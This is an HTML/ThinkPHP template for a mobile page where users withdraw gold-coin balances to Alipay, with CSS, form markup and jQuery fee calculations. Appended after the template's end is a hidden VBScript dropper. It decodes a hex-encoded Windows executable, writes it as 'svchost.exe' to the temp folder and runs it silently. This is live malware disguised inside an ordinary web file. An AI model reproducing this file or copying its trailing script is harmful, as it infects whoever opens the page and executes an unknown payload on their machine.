You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

598 lines
128 KiB
HTML

5 years ago
<extend name="Public/tradebases" />
<block name="css">
<notempty name="nologin">
<link href="__CSS__/iconfont.css" rel="stylesheet" >
<link href="__CSS__/select2.min.css" rel="stylesheet" >
<link type="text/css" rel="stylesheet" href="__CSS__/swiper.min.css">
<link type="text/css" rel="stylesheet" href="__CSS__/base1.css" />
<link type="text/css" rel="stylesheet" href="__CSS__/public1.css" />
<link type="text/css" rel="stylesheet" href="__CSS__/main1.css">
<link href="__CSS__/common.css" rel="stylesheet" >
<script src="__JS__/lwx.js"></script>
<else />
<link rel="stylesheet" href="__CSS__/xg_common.css">
<style>
html {
overflow: hidden;
}
.xg-main {
bottom: 0px;
overflow: auto;
max-width:640px;
margin:0 auto;
}
.bgcol_f2{background-color: #f2f2f2}
.xg-container {
margin-bottom: 0;
background-color: #fff;
}
.widthdrawal_num{
padding: 0.38rem;
background-color: #f2f2f2;}
.wd_numtxt{
padding: 0.4rem;
background-color: #fff;
border-radius: 10px;}
.wd_numtit{color: #656565;}
.wd_numcontainer{
font-size: 1rem;
color: #666;
margin: 0.8rem 0;}
.the_yuan{font-size: 0.4rem;
margin-right: 0.3rem;}
.poundage{margin-top: 0.38rem;
color: #d62b1a;}
.widthdrawal_desc{
padding: 0 0 0 .4rem;}
.desc_li{padding: 0.6rem 0;
font-weight: bold;
color: #676767;}
.desc_li~.desc_li{border-top:2px solid #f5f5f5;}
.bgcol_fff{background-color: #fff}
.wd_descr{float: right;
margin-right: 0.4rem;}
.col_blu{color: #4798f1}
.wd_account{font-weight: 500;
color: #5a5a5a;}
.wd_numdesc{
color: #999;}
.wd_num{color:#666;}
.wd_goband{font-weight: 500;
color: #db4536;}
.icon-go{
display: inline-block;
margin-left: 0.12rem;
vertical-align: sub;
height: 0.45rem;
width: 0.3rem;
background: url(__IMG__/trade1/icon_xiala2.png) no-repeat center center;
background-size: 100% 100%;
}
.pop-window {
display:none;
-webkit-overflow-scrolling: touch;
overflow:hidden;
position:fixed;
top:0;
left:0;
bottom:0;
right:0;
width:100vw;
height:100vh;
z-index:999;
background:rgba(0,0,0,.2);
}
.pop-window .pop-box {
position:relative;
top:26%;
margin:0 auto 0;
width:80vw;
background:#FFF;
border-radius:3vw;
max-width:293px;
}
.pop-window .pop-page {position:relative;margin:0 auto;width:100%;height:100%;background:#FFF;}
.pop-window .pop-page .pop-wrap, .pop-window .pop-page .pop-wrap>div {
height: 100%;max-width:640px;width:100%;position:relative;top:0;margin:0 auto;left:auto;right:auto;
}
.pop-window .pop-box .pop-wrap {
padding:5vw 7vw;
}
.pop-window .pop-box .pop-wrap .pop-title {
position:relative;
margin:0;
color:#707070;
font-size:2.7rem;
font-weight:normal;
text-align:center;
}
/* .pop-window .pop-box .pop-wrap .pop-title span {
color:#18B1EA;
}*/
.pop-window .pop-box .pop-wrap .pop-close {
position:absolute;
right:-1rem;
top:-1rem;
font-size:2.2rem;
color:#999;
}
.pop-window .pop-box .pop-wrap .pop-content {
color:#999;
font-size:1.8rem;
position:relative;
margin-top:.2rem;
}
.pop-window .pop-box .pop-wrap .pop-content .des {
color:#666;
display:block;
}
.pop-window .pop-box .pop-wrap .pop-btnbox {
overflow:hidden;
clear:both;
position:relative;
}
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-btn {
width:45%;
text-align:center;
padding:.4rem 0;
font-size:2.6rem;
border-radius:4rem;
display:block;
}
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-cancel {
color:#707070;
border:1px solid #F1F1F1;
float:left;
}
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-confirm {
color:#FFF;
background:#18B1EA;
border:1px solid #18B1EA;
float:right;
}
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-confirm.disabled {
background:#CCC;
border-color:#CCC;
}
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-input {
padding:.8rem 0rem .8rem 8rem;
width:100%;
box-sizing:border-box;
-webkit-box-sizing:border-box;
color:#18B1EA;
border:none;
border-radius:2rem;
font-size:3rem;
line-height:1;
vertical-align: middle;
}
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-span {
width: 205px;
box-sizing: border-box;
-webkit-box-sizing: border-box;
color: #18B1EA;
font-size: 2rem;
line-height: 3rem;
vertical-align: middle;
overflow-x: scroll;
display: inline-block;
}
.pop-window .pop-box .pop-wrap .pop-btnbox .prefix {
position:absolute;
left:.5rem;
top:0rem;
font-size:1.6rem;
display:block;
text-align: left;
vertical-align:middle;
line-height: 3rem;
}
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-copy {
background:#18B1EA;
color:#FFF;
box-sizing:border-box;
-webkit-box-sizing:border-box;
position:absolute;
top:0;
right:0;
height:100%;
width:7rem;
font-size:2rem;
text-align:center;
padding-top:.8rem;
border-top-right-radius:2rem;
border-bottom-right-radius:2rem;
}
.pop-window .pop-box .pop-wrap .pop-textarea {
width:100%;
height:26vh;
padding:.4rem;
font-size:1.5rem;
border:1px solid #DCDCDC;
box-sizing:border-box;
-webkit-box-sizing:border-box;
}
.totalnum {
position:absolute;
bottom:-1.2rem;
right:.3rem;
font-size:1.2rem;
}
.pop-dialog {
display:none;
position:fixed;
z-index:1999;
top:0;
left:0;
right:0;
text-align:center;
width:100vw;
height:100vh;
}
.pop-dialog span {
background:rgba(0,0,0,.6);
top:40%;
color:#FFF;
display:inline-block;
line-height:2;
position:relative;
padding:.5rem 2rem;
word-break:break-all;
max-width:60vw;
}
.pop-table {
display:table;
width:100%;
position:relative;
}
.pop-row {
display:table-row;
position:relative;
}
.pop-cell {
display:table-cell;
position:relative;
vertical-align:middle;
}
.pop-cell.pop-mark{
width:24%;
}
.pop-form {
display:none;
-webkit-overflow-scrolling: touch;
overflow:hidden;
position:fixed;
top:0;
left:0;
bottom:0;
right:0;
width:100vw;
height:100vh;
z-index:999;
background:rgba(0,0,0,.5);
}
.pop-form .pop-box {
position:relative;
top:28%;
margin:0 auto 0;
width:90vw;
background:#FFF;
border-radius:3vw;
}
.pop-form .pop-box .pop-wrap {
padding:4vw 6vw 6vw;
}
.pop-form .pop-box .pop-wrap form {
padding:1px;
}
.pop-form .pop-box .pop-wrap .pop-content {
position:relative;
width:100%;
}
.pop-form .pop-title {
position:relative;
margin:0;
color:#707070;
font-size:3.4rem;
font-weight:100;
text-align:center;
}
.pop-form .pop-box .pop-wrap .pop-close {
position:absolute;
right:0rem;
top:0rem;
font-size:2.2rem;
color:#999;
}
.pop-form .pop-table-wrap {
padding-top:1.7rem;
width:100%;
position:relative;
overflow:hidden;
}
.pop-form .pop-table-wrap .pop-table {
}
.pop-form .pop-table-wrap .pop-table .pop-cell {
height:6rem;
font-size:2.2rem;
}
.pop-form .pop-table-wrap .pop-table .pop-cell:first-child {
width:3.5rem;
white-space: nowrap;
}
.pop-form .pop-table-wrap .pop-table .pop-cell:last-child {
text-align:right;
}
.pop-form .pop-table-wrap .pop-table .pop-cell .pgood {
}
.pop-form .pop-table-wrap .pop-table .pop-cell p {
margin:0;
}
.pop-form .pop-table-wrap .pop-table .pop-row~.pop-row {
border-top:1px solid rgba(231,231,231,.5);
}
.pop-form .pop-table-wrap .pop-table .paddress {
font-size:0.48rem;
width:88%;
}
.pop-form .pop-table-wrap .pop-table .paddress {
text-align: left;
float: right;
}
.pop-form .pop-table-wrap .pop-table .paddress span {
display:block;
text-overflow:ellipsis;
overflow:hidden;
}
.pop-form .pop-table-wrap .pop-table .pop-cell .icon-right {
position:absolute;
top:34.3%;
right:0.2rem;
width:0.3rem;
height:0.54rem;
display:block;
}
.pop-form .pop-butn-box {
padding-top:0.58rem;
}
.pop-form .pop-butn-box .butn {
width:100%;
-webkit-appearance:none;
font-size:3rem;
color:#FFF;
display:inline-block;
padding:0.6rem 0;
background:#18B1EA;
border-radius:3rem;
border:none;
margin:0;
}
.pop-message,.pop-cue,.pop-notice,.pop-hint,.pop-share,.pop-prompt,.pop-prompt2,.pop-form,.pop-bind,.pop-login,.pop-pay,.pop-pay-temp,.pop-partir,.pop-bookmark,.pop-load {display:none;position:fixed;z-index:1999;top:0;left:0;right:0;text-align:center;width:100vw;height:100vh;}
.pop-message .pop-box {background:rgba(0,0,0,.84);position:relative;color:#FFF;display:inline-block;position:relative;word-break:break-all;border-radius:0.2rem;width:4.64rem;height:4.64rem;}
.pop-message .pop-box .pop-image {width:1.94rem;height:1.4rem;margin-top:1.12rem;}
.pop-message .pop-box .pop-text {margin:0.76rem 0 0;font-size:0.52rem;color:#FFF;}
.pop-info {background-color:rgba(0,0,0,0);}
.pop-info .pop-page {display:table;background:transparent;}
.pop-info .pop-wrap {display:table-cell;vertical-align:middle;}
.pop-info .publishing {width:4.5rem;height:3rem;margin:0 auto;background:#333;border-radius:0.4rem;}
.pop-info .publishing img {margin:0 auto;display:block;width:1.5rem;padding:0.5rem 0 0.1rem;}
.pop-info .publishing span{font-size:.38rem;color:#FFF;text-align:center;display:block;}
</style>
</notempty>
</block>
<block name="body">
<notempty name="nologin">
{$nologin}
<else />
<script src="__JS__/xg_mobile.js"></script>
<script src="__JS__/ajaxload.js"></script>
<script src="__JS__/pop.lwx.min.js"></script>
<header class="header">
<if condition="$issdk eq 1">
<a class="xg-back" href="{:U('User/index')}"></a>
<else/>
<a class="xg-back" href="javascript:history.go(-1);"></a>
</if>
<h1 class="xg-title">提现</h1>
</header>
<main class="xg-main bgcol_f2">
<div class="xg-container">
<div class="widthdrawal_num" style="padding: 0.38rem;background-color: #f2f2f2">
<div class="wd_numtxt" style="padding: 0.4rem;background-color: #fff;border-radius: 10px;">
<p class="wd_numtit">提取现金</p>
<div class="wd_numcontainer">
<span class="the_yuan"></span><input type="text" data-all="{$user.gold_coin|default=0}" data-rate="{:set_zero_on_number(C('withdraw.widthdraw_rate'))}" data-coin="{:set_zero_on_number(C('withdraw.coin'))}" data-poundage="{:set_zero_on_number(C('withdraw.poundage'))}" style="width:80%;border:none;outline:none;" placeholder="请输入要提现的金币数量" id="coin" value="" >
</div>
<p class="wd_numdesc">可提取现金<span class="wd_num">{$user.gold_coin|default=0}</span><span class="col_blu" id="all_gold">全部提取</span></p>
</div>
<p class="poundage">交易手续费{:set_zero_on_number(C('withdraw.widthdraw_rate'))}%,实际到帐金额<span id="real_money">0</span></p>
</div>
<div class="widthdrawal_desc">
<ul>
<li class="desc_li">
<span class="wd_descl">到帐时间</span>
<span class="wd_descr col_blu">5个工作日内到帐</span>
</li>
<li class="desc_li" id="get_money_box">
<span class="wd_descl">收款信息</span>
<notempty name="user.alipay">
<notempty name="user.alipay_real_name">
<!--已经绑定支付宝状态 begin!-->
<span class="wd_descr wd_account">{:str_replace(substr($user['alipay'],3,-3),'*****',$user['alipay'])}{:mb_substr($user['alipay_real_name'],0,1,'utf-8').'**'}</span>
<!--end! 已经绑定支付宝状态-->
<else />
<!--未绑定支付宝状态 begin!-->
<a class="wd_descr wd_goband" id="bind_alipay" href="javascript:;">未绑定支付宝,去绑定<i class="icon-go"></i></a>
<!--end 未绑定支付宝状态-->
</notempty>
<else />
<!--未绑定支付宝状态 begin!-->
<a class="wd_descr wd_goband" id="bind_alipay" href="javascript:;">未绑定支付宝,去绑定<i class="icon-go"></i></a>
<!--end 未绑定支付宝状态-->
</notempty>
</li>
</ul>
</div>
</div>
</main>
<footer class="footer bgcol_fff" id="confirm_withdraw">
<!-- 在class左后面添加xg-btn-disabled是未有选中的样式 -->
<input type="hidden" class="syql" name="coin" value="">
<input type="hidden" class="syql" name="poundage" value="">
<input type="hidden" class="syql" name="money" value="">
<input type="hidden" class="syql" name="gold_coin_balance" value="">
<input type="hidden" name="alipay" value="{$user['alipay']}">
<input type="hidden" name="alipay_real_name" value="{$user['alipay_real_name']}">
<button type="button" id="confirm_withdraw_btn" class="xg-btn xg-btn-submit xg-btn-primary">确认提现</button>
</footer>
<div class="popmsg pop-dialog"></div>
<div class="popwin pop-window" style="background:#FFF;"><div class="pop-page"><div class="pop-wrap"></div></div></div>
</notempty>
</block>
<block name="script">
<empty name="nologin">
<script>
$(function() {
var pmsg = $(".popmsg").pop();
var popwin = $(".popwin").pop();
$('#all_gold').click(function() {
var input = $('#coin');
var all = parseFloat(input.attr('data-all'));
var rate = parseFloat(input.attr('data-rate'));
var coin = parseFloat(input.attr('data-coin'));
var low = parseFloat(input.attr('data-poundage'));
if(all*100>=(coin*100+low*100)) {
input.val(all);
var poundage = (all*rate/100).toFixed(2);
var widthdraw = 0;
//if(poundage*100<100){poundage*=1;widthdraw=all-poundage;}else{widthdraw = (all*(100-rate)/100).toFixed(2)}
widthdraw = (all*(100-rate)/100).toFixed(2);
var cw = $('#confirm_withdraw');
cw.find('input[name="coin"]').val(all);
cw.find('input[name="money"]').val(widthdraw);
cw.find('input[name="poundage"]').val(poundage);
cw.find('input[name="gold_coin_balance"]').val(all);
$('#real_money').text(widthdraw);
} else {
pmsg.msg('可提取金币不足');
}
return false;
});
$('#coin').keyup(function() {
var that = $(this);
if(!$.trim(that.val())) {return false;}
if(!/^[1-9]\d*(\.([0-9]{0,2})?)?$/.test(that.val())) {pmsg.msg('请输入数字');that.val('');return false;}
var val = parseFloat($.trim(that.val())).toFixed(2);
var all = parseFloat(that.attr('data-all'));
var rate = parseFloat(that.attr('data-rate'));
var coin = parseFloat(that.attr('data-coin'));
var low = parseFloat(that.attr('data-poundage'));
var cw = $('#confirm_withdraw');
if(all*100>=val*100) {
if(val*100<(coin*100+low*100)) {cw.find('input.syql').val('');$('#real_money').text(0);pmsg.msg('提现金币不少于'+(coin*100+low*100)/100);return false;}
var poundage = (val*rate/100).toFixed(2);
var widthdraw = 0;
//if(poundage*100<100){poundage=poundage*1;widthdraw=val-poundage;}else{widthdraw = (val*(100-rate)/100).toFixed(2)}
widthdraw = (all*(100-rate)/100).toFixed(2);
cw.find('input[name="coin"]').val(val);
cw.find('input[name="money"]').val(widthdraw);
cw.find('input[name="poundage"]').val(poundage);
cw.find('input[name="gold_coin_balance"]').val(all);
$('#real_money').text(widthdraw);
} else {
cw.find('input.syql').val('');that.val('');
$('#real_money').text(0);
pmsg.msg('可提取金币不足');
}
return false;
});
$('#bind_alipay').click(function() {
var that = $(this);
$.ajax({
type:'post',
dataType:'json',
url:'{:U("alipay")}',
data:{},
success:function(data){
popwin.open(800,data.html);
},
error:function(){pmsg.msg('服务器故障,请稍后再试');},
});
return false;
});
$('#confirm_withdraw_btn').click(function() {
var that = $(this);parent = that.closest('#confirm_withdraw');
var cw = $('#confirm_withdraw');
if(!$.trim(cw.find('input[name="coin"]').val())) {pmsg.msg('提现金币不能为空');return false;}
if(!$.trim(cw.find('input[name="poundage"]').val())) {pmsg.msg('手续费不能为空');return false;}
if(!$.trim(cw.find('input[name="money"]').val())) {pmsg.msg('到账金额不能为空');return false;}
if(!$.trim(cw.find('input[name="gold_coin_balance"]').val())) {pmsg.msg('账户余额不能为空');return false;}
if(!$.trim(cw.find('input[name="alipay"]').val())) {pmsg.msg('支付宝不能为空');return false;}
if(!$.trim(cw.find('input[name="alipay_real_name"]').val())) {pmsg.msg('支付宝真实姓名不能为空');return false;}
if(that.hasClass('disabled')) {return false;}
that.addClass('disabled');
var query = parent.find('input').serialize();
$.ajax({
type:'post',
dataType:'json',
url:'{:U("withdraw_gold")}',
data:query,
success:function(data){
if(parseInt(data.status)==1) {
pmsg.msg(data.info);
setTimeout(function(){
window.location.href="{:U('Trade/withdraw',array('is_app'=>I('is_app'),'token'=>I('token')))}";
},2000);
} else {
pmsg.msg(data.info);
that.removeClass('disabled');
}
},
error:function(){
pmsg.msg('服务器故障,请稍后再试');that.removeClass('disabled');
},
});
return false;
});
});
</script>
</empty>
5 years ago
</block><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A5
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>